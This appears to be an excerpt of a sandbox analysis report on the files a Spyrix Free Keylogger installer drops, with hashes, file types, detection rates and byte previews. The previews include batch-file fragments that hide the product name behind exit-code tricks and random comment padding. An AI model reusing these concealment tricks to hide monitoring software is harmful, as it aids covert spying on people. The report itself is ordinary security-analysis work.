SHA1:	CD0CBB3DF6F011B41B24F8E1CA805469F234F044
SHA-256:	DCF52739862C4FBF4B4C04F470F9F62B46E308E9E5FA87CDFAD1DC66E753DF16
SHA-512:	5AF2BFE2166E3578D3BADA9738CD0C769B2F5A2B9E84B812C7193E3A88163B32B94EB36DE83347A8E7DC75079608102C0CF05293E647132C0F633F67AAECC446
Malicious:	false
Reputation:	unknown
Preview:	timeout 6..dashboard.url

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-OO1B8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364544
Entropy (8bit):	6.479003452408153
Encrypted:	false
SSDEEP:	6144:fmptxuYgIrlmSqUM21IU5KWieEsdk5aKa1CZHDAO+OYb:2/uYgIrA/pU548AaKa1QxYb
MD5:	D37B9AE44F3B37F41295334DE9EF14C9
SHA1:	4FD95C78873CE84DDF9FFA755504F5279C4A3332
SHA-256:	5BA50A315B9C02CCCD629FFBBF12A5564FD0A557FECD0582D165FE04BE3D850B
SHA-512:	AF5B2D2321E81E0B407B74B4092E190A5081D248BDDF21A92A7251E5CF6C19DFDECB09E35BABA32D04C4AD7CD8659C568208B3314E37159035E1F61BE6AB387E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............m]..m]..m]...]..m]...]..m]...]..m]...]..m]B.0]..m]..l]..m]...]..m]...]..m]...]..m]Rich..m]................PE..L....:.J...........!...............................................................................................@%......T...<.......................................................................@...............8............................text............................... ..`.rdata...h.......p..................@..@.data...\B...@... ...@..............@....reloc...(.......0...`..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-P60MT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	457728
Entropy (8bit):	6.59955980299879
Encrypted:	false
SSDEEP:	12288:oYP3U+DowYPZOobyfwOgM2evuRTQ8r5e:3knwGZO4ZBevgTQ
MD5:	5E952525D9379E001F1714DE9E87B50D
SHA1:	45A1F15E62D3BEBF80BFDE69B992448DA09369FA
SHA-256:	81DE9F4EE9164358163C7F2200522E5C518D649ED6868CC6F27DB2B831F42DA4
SHA-512:	FCCEFD5CEFA59AAE1CCF1DF61907720BFB753AA1A6094DCB9225BA0110172103980C77708B9BB36F9D329B890ECC3F279AEE325A780308E9AC127EDC99CF8D0D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..................................... ....@..............................................................................(...0...L.......................e......................................................\............................text............................... ..`.itext.............................. ..`.data...T.... ......................@....bss.....5...@...........................idata...(.........................@....edata...............H..............@..@.reloc...e.......f...J..............@..B.rsrc....L...0...L..................@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-PTR09.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://www.spyrix.com/purchase.php?from=sfk_uninstall">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.849870364976637
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzcSL0dyTKVQXGNErnVIXKobn:HRYFVmjzjL0dyTK6XaErVI9
MD5:	7B7C177B6FA25296550B3643448FCA00
SHA1:	FA9744B1844CA32600EE661081CA6BBFD1B317D4
SHA-256:	F7B25ED414E8005EDDBBEA787FA3594C798FC7F683E77835DAA33635A395CE51
SHA-512:	5F61FF8894C530B21F7E4646798ECFA65D88FF55AF807280AA16233818E0F0043EBE6BF764C48BEA4C160EDAA3800BD9894C1BD2D01370F7200CD5E718C7B74A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://www.spyrix.com/purchase.php?from=sfk_uninstall"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-QFHKL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5329
Entropy (8bit):	5.379707763753434
Encrypted:	false
SSDEEP:	96:nsPCuKyBy4PRWZSx84GmqUIa+zHBZclQmmUc6EYQZCh1t64R8vVIa2akG2T:xuVr5WExXG6UvUmUbrQIvtO9INakGc
MD5:	CD2AC50D3746B1A9663C4D2BF7EA4D55
SHA1:	909F5CFEB390B67FEFC6CD1786760FEBDBB2B875
SHA-256:	F9C158AEFD53582E68F7417E6326620AE4FDE859EE6D02B263EEA838A2C6F136
SHA-512:	E47073C412A92325DA84516358B43CC855B67FA6E44D092005143B35EA021B72BF8607B619F179706E3B66332A24EEB3910E1AF69076D29527C60DFF9EFF8A5F
Malicious:	false
Reputation:	unknown
Preview:	rem kezd4t79qxno0lbfeql5y0mu8g6iesyetjcseogfwt472kiwiubb15brfmh2wac96vhv0vnd2020j6zevgvnwwpffvshcpj0zglw700radviz4u8q9aq6k9n..@echo off..rem 000stm4gugwjkgbh428m90yr2..rem ce1k7rdsfo832vwc3jaouwf6whuhamo859077bf249yhqvmg1kd492xy1n0laxcjqawev0lgwfar618zidzyfwk96n90dum9le1hlxjvxajsku4sr3uiuy0..rem dsawc47q7b7rg3lyyyjwoquee0ll0ap5r0099bt1715bh4jezmssc1nm4xfnyr40tu10yayd38i6wla70zmf5096xpoyd018bdbpms0ennjdswzri1jyzqel..setlocal enabledelayedexpansion..rem 2e6crit365pi9pdx3kzzixkz0bxvti57alc..rem tbd2b125fv5tqy0wwb0v1woi0mnrpd6l8..rem 6g5up6bf14gd8ckrvtcxni6x4495olhkrlg706b9nszf6urghw484qcu0hf29s7vhqna1o5uloku3qzxd8591ivyo0idphj1jw9y22y0fjgsjtjodo855g0r..set iniFile=%ProgramData%\%prg_id%\temp\logger.ini..rem rrje26b6rkhrhihlujks437km32ntyjjtcvi63..rem 5qn9uxfpef8xq5039f88vk9umpfl9dj9r7apxc..rem ioq4mok81bx2zs3knaunm2b4mcsjotkyq0rwnmtauk20e7hftlruhy0eoxwbq17088ic70epr0ikd4ns0o03tu98y18pwfn2vxzg4rpi4bn3em187jjj6y1o..set getValue=0..rem 0h5hrq1blurny0ai0ueen0k8mw0cgjlrjajonp24yq2pewj7tdwn9c2e

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-RQ4T2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"http://www.spyrix.com/spyrix-products.php?from=sfk_install">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.920531868608183
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjziJS40dyTKWV7GGWyXKokJr:HRYFVmjzic40dyTKWV7WyuV
MD5:	5691CB02970E3D46042CD411DDD33C42
SHA1:	5F98A89B9505821B32D1A9B9362A9A8881DF2790
SHA-256:	9C16F6639225765BAA8F23C7B37724B0B3E4837B41F90F612C81AEEDDE79CF68
SHA-512:	A36A6B642A23CA333055602214253D4616FB94CEFC3A89614AE8FD314D93E7887B4FDFD394C9D60BA1474A5AE4EF45EE5639E0F84197FBD4D25CE896FDEB29A6
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="http://www.spyrix.com/spyrix-products.php?from=sfk_install"....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T1S1U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 197 x 285, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	76673
Entropy (8bit):	7.9848305082884155
Encrypted:	false
SSDEEP:	1536:MAid3jb4CBlw8s1Q/03i/NRj/CWM9oLMqFAT5/EUx:MpoC/l703mx29ZwA9H
MD5:	3A12AA38DC04011E4267D84F9DF29A16
SHA1:	DB2B83756D27969D5701F20925A023B282B2212F
SHA-256:	16F1E3749736EC4BC63E0E64474FEDFED96468EE5901D1E3DADD3490C2B72380
SHA-512:	51A27A92771E6D2475A0B13965064A2C0BD4F9074E4CB344CBFFE046189F5B3A130321C7651C25F37BF66CF312D8A953B77FC4CE99F47C55A2FB63603D8CC47B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............."......sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....pHYs..........o.d...yIDATx^..t........$.L..43w.....,[.$..B.d.-...................]V.J.......Y_...y..?..O.~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~........<.j.q.......tq..K.Zu.V..>..}..}..........7.&~.b....5.js....x...T\.s.`-.w.............M.'........o.......4.#...._Z....GuSF7....]>.'.............n....;.../..>\|XN.<i.../...kr..u.u..sg.~...?.O?....B..)c....L...7o........+r....y..wO...._n.m.@.>..u......J?...\|.f....)...................t.....k......`.M.........o.....O......X.2.S......\|..G.....ic._.p.G..S^_s..}c..k..5...@..h..U.Z..-_S....\|..R.Ycy.+..2...}..cm..@................;..6;^M.....Yc.).......1.....$T..<...I...>W....k......(..-...p...'....S...\.........F7o..6~]...,(~........f.v.zat#.&....\|}.....O.4...K..,T.#.(9.........x.@.7...Mo......(-...c#...O.....EM.a..OB..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-TQVVU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	4.432468112054125
Encrypted:	false
SSDEEP:	6:hmRBMeZSMo29ncrTMo29ncrZHbMo29ncrhMo29ncrXMo29ncrMMo29ncQXp23dUy:wbgK6fK6hbK6VK6bK6IK6CU9SL/A
MD5:	498851BBE00277D04DB98A521FE760F7
SHA1:	671A1E5F003A81734DCF193321F60AC0C7AB1739
SHA-256:	1F5C9CB793AAC6CB8B677222C0689A955CE2A52B4022E6179AB70EB8A4261513
SHA-512:	98C1DC048EDDFCB72EDA4DE75C8237FF19A4B8AFA9D31572ED608BF8018713AE4073F82F0CF838B09CE4F51746A3B17DC88619ACC7C2C6FF7453FE885059AE50
Malicious:	false
Reputation:	unknown
Preview:	@echo off..set u_id=..cmd /c exit 83..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 112..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 121..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 114..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 105..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 120..set u_id=%u_id%%=exitcodeAscii%..set prg_id=%u_id% Free Keylogger..set d_id=dashboard..set p_id=https..set e_id=xe

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-V94IU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38533120
Entropy (8bit):	6.659117982180381
Encrypted:	false
SSDEEP:	393216:lw4FxslQp+QsIjKvL/RouclpOaPdvmtzzGnDHmgRBbxr5U0zvOaHxA2KZc4P9QpC:lw4fslOPKVouExr5U0zGaHxAJkuC+d7
MD5:	63C6697F6F8C4DE12A18633A65A6DD50
SHA1:	442715CE26B000A34E25DBE9BED05863C2488096
SHA-256:	2E92C42276AEA8D407AE41B3D8B63E6C39F33EC8D1CEEB4C632B54073B56BDA3
SHA-512:	50B6035BA8C2B4F871CD2CEF057A4CF21433999E6EBC2566DD92843D4F3DFFEF00198FA80F3D34424FAF049BEAFAFA637DB1FD061251A7D10FC82735E0313A92
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................&...>J.............P....@..........................P........L...@... ......................0..G........C...........................p..(...........................L-.......................................................text...h...........................`..`.rodata.L..........................`.``.rotext..............t.............. .P`.data...\|U...P...V...*..............@.p..rdata...k.......k.................@..@.bss........@2.......................`..edata..G....0........2.............@.0@.idata...C.......D....A.............@.0..CRT....4....P........B.............@.0..tls.........`........B.............@.0..reloc..(....p........B.............@.0B........................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364544
Entropy (8bit):	6.479003452408153
Encrypted:	false
SSDEEP:	6144:fmptxuYgIrlmSqUM21IU5KWieEsdk5aKa1CZHDAO+OYb:2/uYgIrA/pU548AaKa1QxYb
MD5:	D37B9AE44F3B37F41295334DE9EF14C9
SHA1:	4FD95C78873CE84DDF9FFA755504F5279C4A3332
SHA-256:	5BA50A315B9C02CCCD629FFBBF12A5564FD0A557FECD0582D165FE04BE3D850B
SHA-512:	AF5B2D2321E81E0B407B74B4092E190A5081D248BDDF21A92A7251E5CF6C19DFDECB09E35BABA32D04C4AD7CD8659C568208B3314E37159035E1F61BE6AB387E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............m]..m]..m]...]..m]...]..m]...]..m]...]..m]B.0]..m]..l]..m]...]..m]...]..m]...]..m]Rich..m]................PE..L....:.J...........!...............................................................................................@%......T...<.......................................................................@...............8............................text............................... ..`.rdata...h.......p..................@..@.data...\B...@... ...@..............@....reloc...(.......0...`..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1274880
Entropy (8bit):	6.836546460752662
Encrypted:	false
SSDEEP:	24576:te0Xn1+KpPCrpxqqyfATvxlLVNqRadDqef2BLbIEnp1VWMVRdzd:tJ0frxRqRIDXfuI2p1FVRdzd
MD5:	D66922B7D10F688564B1CFB25B2681EC
SHA1:	E97422EF6B23366FCD196DF334BD111FEBF2E880
SHA-256:	E0E0697DBCD35C5C8E6E0E19C8A4186F7902D95227E8D7C0AE1C90E0E56370A1
SHA-512:	5BCDB4D574E95B699EDEC336CA596C1D9446A648D27AD2B32E0D5C14F301F2EF783AE53062D9FE9E6FA956BF04A0B4F4F1B845B5194A72B2F9EAED4D9E9C0EBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..v...v...v.......v.......v...w.>.v..=....v...v...v.....r.v.......v.......v.......v.Rich..v.........PE..L...L*.O...........!.....4...\|.......].......P.......................................%.........................................x.... ..8....................0......pR..................................@............P..4............................text....2.......4.................. ..`.rdata.......P.......8..............@..@.data.......p...p...T..............@....rsrc...8.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	21327
Entropy (8bit):	4.95775402864365
Encrypted:	false
SSDEEP:	384:UyK3wUGkRqqS7M2IgCEAIAiIYNwCPjuPTyySHaNM7lcomkn3J:UhgqSUdEpNw+jMTHS6eJ
MD5:	C61869FD95FCAA4887007EE40C1AEF78
SHA1:	5B2E9E425C48F37A3C6F2AFCFD35569BE240FB0C
SHA-256:	4EBE5322D84F71C59E806B8BD29D3C53D3FDA1C82238084FBAA8852DE668E14E
SHA-512:	815D5C77AF6F439D5FD3C254B6F1957537A30507D4BB40CB5ADB6FDC817D2389BD5B8D69F7AE67AF87C1F42B7A5799E0F82A0A3A0C543CFF46E72B74D867F9A8
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="..."..tbStartHint="..... ......."..tbStop="...."..tbStopHint="..... ......."..tbFind="....."..tbFindHint="..... .. ....... ......."..tbSetting="........."..tbSettingHint="....... ........"..tbAbout="..."..tbAboutHint=".../...... ......."..tbHomePage="...... ........"..tbHomePageHint="...... ... ...... ........"..tbToday="....."...tbTodayHint="...... ... ... ....."..tbHide="....."..tbHideHint="..... ..... (.. .... ... .. .... ......)"..tbMinimize="....."..tbMinimizeHint="..... ... ......"..tbExit="...."..tbExitH

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.088144154341775
Encrypted:	false
SSDEEP:	768:ssSn8tDcYXyC+R+8tDcpzyA/mwMWGwI+X0IjuqhR2X4PUPgb5o69HPriWEudPiaR:sswX64zI
MD5:	23F3B31CDFBD1A8A1695D3D7E4EF9B36
SHA1:	A1B344F97F06F83DD818A51338B965793167F826
SHA-256:	6774CCE8D38C1CE308190456560DDDC892BB4845220D08622C7D89BA79A148CB
SHA-512:	145B093694165C40D4B951A2193BC573E57538D0EC6252A1C659B5258ACC327573803C31BC184196B5C0AEF372157878FFF76E7250BB2B4211BCA04A0488B3C8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43013
Entropy (8bit):	5.090193363439038
Encrypted:	false
SSDEEP:	768:s8SX8t+yiBkyKWm+yqBjLW5qoFxbyl2Zweq4zX:s8cf4zX
MD5:	2519F9520A2AB950F74212172A0BEB94
SHA1:	BA0E1A1C41C867840AE63A677B053DA1118F886B
SHA-256:	E1A9AD7ADB8F8E6969D8F8522118371971B6FE01CD6248819CEBEDBF2EAE9CB6
SHA-512:	AA64B50E2570FFC247DB4D7D182F56A3C0010247AAC51D030AB554DA1A1B4D465CCEA6C50389610864E4B89E4381F575672D0A53018CE18483FAD26B021C1ECE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43600
Entropy (8bit):	5.089965856777119
Encrypted:	false
SSDEEP:	768:s8SX8tS1BOd5rXmgamSN4UIRop4RiHAhzIaq4z4:s8cWRK4z4
MD5:	A79752006AFB6D9A39FC512475ED8493
SHA1:	41B4CD12ACE830E94F30119B35317B7C3C49DAEA
SHA-256:	F0DEFD01327E90A5DCB72C78B1A1D0A875D39E43AC8CD1D2BB0E63B25465BADF
SHA-512:	003CEED560F76521D0457BE2CCD3E438E7100765A6ECA110AE9EE47B43FA807DB389F1B1E1C3D001FC170B38E211E46A4D280799BEE93DA79237B9BD9B34F812
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34167
Entropy (8bit):	5.060082647909622
Encrypted:	false
SSDEEP:	384:p4ew9g0BnPz+p/zWFU48XTKjH2njzr8x3e9kl6YpXNEnysJQezqCdPcedBKfieoE:p4e548XTKT2njX8x3UW7U7vhezZ/6A9P
MD5:	67CFAF3E0373E3678B93AFE97714C9CC
SHA1:	67D9665DEC3734F04E4FE7F893FE12CF008769FD
SHA-256:	E47932F8DAD868BDFA11A27D4E6B6F5520D99C33FB574BB74D1FA4ED37DE33DB
SHA-512:	651811F016A6081D2913336BA4E1B7562DC3A65F7727005B25BC5F0B86C7AF97098C5AEC40FD42CEE43433B4F0036C64479A12C47D5A0A32ED42B656DE6ECDD2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	79588
Entropy (8bit):	4.979859328003009
Encrypted:	false
SSDEEP:	768:p4eOev/+zl3C79k8thfqXMwANr1DZoLLXI1nHT2njX8x3Gj5g5V5V5h5G5P5N59h:p4+w60IA99
MD5:	BFC11879D9DE972A3AE377B204D09593
SHA1:	7B79C412A2AE5D21CCA333CC2F96B70DD7E1C3DE
SHA-256:	DA65EA1EAC2D7DFC5F8EA31CF07A34ECD9054B5BBE31AA7651DAB81518E67324
SHA-512:	81F878B172CC528E2ACE51BE1DE4D27B248EE8B2E5FB3C7A0B5D6A51CC5A4024B7255975F8A98F85E7BC79C16F059DC1958CDC0DDFC07CF9DA1B0926B21D0A49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-2ED8C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	61090
Entropy (8bit):	5.061944824308056
Encrypted:	false
SSDEEP:	768:s8/N3CelQcu09coHJreOBnAF3vlmgaJnAF3vlmgaiSN4UIRopZMggLBbWmb8Sw1w:s85g+X4zR
MD5:	F233DF0C1E13DC0EC1FBC3DFE59E36FA
SHA1:	A032C4D543AA03D01A28518894DD066D8682CE2C
SHA-256:	B465F564E4A3FC70B8D12141C5CD4E1EA9C620D4B2A7A5DC84F54D8C5701F590
SHA-512:	13CAF615E0EEEA67CD8037106E7714CACD72F4A74CB53561766D6D7546E97F62A390BB09FD5DFA3AAE56499E13CD699E13684181443E4361BECED33D8D6E26F9
Malicious:	false
Reputation:	unknown
